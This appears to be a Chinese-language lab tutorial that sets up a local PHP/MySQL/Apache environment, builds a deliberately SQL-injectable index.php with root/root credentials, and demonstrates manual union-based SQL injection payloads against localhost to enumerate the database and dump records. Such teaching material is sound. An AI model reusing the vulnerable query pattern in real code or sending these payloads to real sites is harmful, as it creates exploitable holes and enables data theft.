[經驗技巧] “php+mysql+apache”環境搭建及"手動SQL注入"
1.“php+mysql+apache”環境搭建
-
環境載體:虛擬機Window7 Service Pack 1 旗艦版
-
下載“phpStudy (php5.2) ”
文件見附件1。
安裝“phpStudy (php5.2) ”
-
將壓縮包解壓后,雙擊“phpStudy(PHP5.2).exe”進行安裝
-
安裝結束后,彈出“使用手冊”及phpStudy窗體,點擊“應用”:
-
觀察到兩個指示燈由紅色變為綠色,說明“Apache”和“MySQL”已成功啟動:
在mysql中新建數據庫及表
注:mysql的登錄名及密碼都是“root”。
-
新建數據庫、表,並添加記錄
-
點擊“SQL編輯器”選項卡,在編輯區域添加如下代碼然后選中並執行:
create database student;#創建一個新的數據庫,名為 student
use student;
create table class1(id int(20) not null AUTO_INCREMENT primary key,name varchar(20) not null,gender varchar(20),phone varchar(20));#在student數據庫中創建新表,名為class1,有4個字段 id、name、gender、phone
#插入3條記錄
insert into class1(name,phone,gender) values ('own','13977888888','male');
insert into class1(name,phone,gender) values ('hdh','13667777777','male');
insert into class1(name,phone,gender) values ('ckm','15666666666','female');
#注意:每條語句后都用分號“;”作為結尾
執行SQL語句后,左側導航欄中出現了新創建的數據庫“student”。雙擊“student”后,點擊“數據瀏覽器”選項卡,看到了在表“class1”中添加的3條記錄:
也可導入sql腳本“class1.sql”來創建數據庫、表並添加記錄,見附件2。使用時如圖導入即可:
2.配置含有sql注入點的網頁
-
在phpStudy安裝目錄下的文件夾“WWW”中新建php網頁
網頁文件命名為“index.php”,在文件內添加如下代碼:
<?php
$con = mysql_connect("localhost","root","root") or die();#連接數據庫
mysql_select_db("student");#選擇student數據庫
$ID = $_GET['id'];#獲取URL中的參數“id”
$sql = "select * from class1 where id=$ID";#構建sql查詢語句
/*若為字符型參數,則用 $sql = "select * from class1 where name=‘$name’";
$name左右加上單引號 */
echo "sql語句: ".$sql."<br >";
$res = mysql_query($sql);#執行查詢語句
while($rows = mysql_fetch_array($res)){
echo "姓名: ".$rows['name']."<br >";
echo "性別: ".$rows['gender']."<br >";
echo "電話: ".$rows['phone']."<br >";
}
mysql_close($con);
?>
文件“index.php”見附件3。該php代碼意為通過URL所傳入的參數“id”的值,構建sql查詢語句“select * from class1 where id”,最后輸出所返回的記錄中的三個字段“name”、“gender”、“phone”。
3.SQL注入
-
判斷是否為sql注入點
-
整形參數判斷
-
1、URL最后加上 and 1=1
2、URL最后加上 and 1=2
如果2異常,1正常就存在注入
本文使用的是整形參數,結果如下:
and 1=1
and 1=2
-
猜字段數
http://127.0.0.1/?id=1 order by <n> #注:n是任意數字。若返回頁面正常,則該數字為字段數
-
獲取數據庫名、用戶名、數據庫版本
http://127.0.0.1/?id=1 union select 1,database(),user(),version()
-
猜解表名
-
1.mysql版本在5.1后
-
mysql5.1后,設有一個表保存所有數據庫下的表名,據此查詢獲得指定數據庫下的表名
-
-
使用小葵工具轉化數據庫名“student”,得到hex值:
“小葵多功能轉換工具”見附件4。
將Hex值填到“where table_schema=”后。如是獲取了數據庫“student”下的表“class1”的表名:
http://127.0.0.1/?id=1 union select 1,table_name,2,3 from information_schema.tables where table_schema=0x73747564656E74
2.mysql版本在5.1前時,如何猜解表名
在URL后加入sql語句,返回正常表示存在該表名
<URL> and exists(select * from <所猜解的表名>)
http://127.0.0.1/?id=1 union select 1,column_name,2,3 from information_schema.columns where table_name=0x636C61737331
-
猜解列名(字段名)
-
在URL后加入sql語句,返回正常表示存在所猜解的列名
-
<URL> and exists(select <所猜解的列名> from <表名>)
-
獲取指定列的數據
例如,獲取表“class1”中,列“phone”的數據:
http://127.0.0.1/?id=1 union select 1,phone,2,3 from class1
注: 若瀏覽器訪問頁面時出現亂碼,將瀏覽器編碼設置為“UTF-8”即可解決:
============================================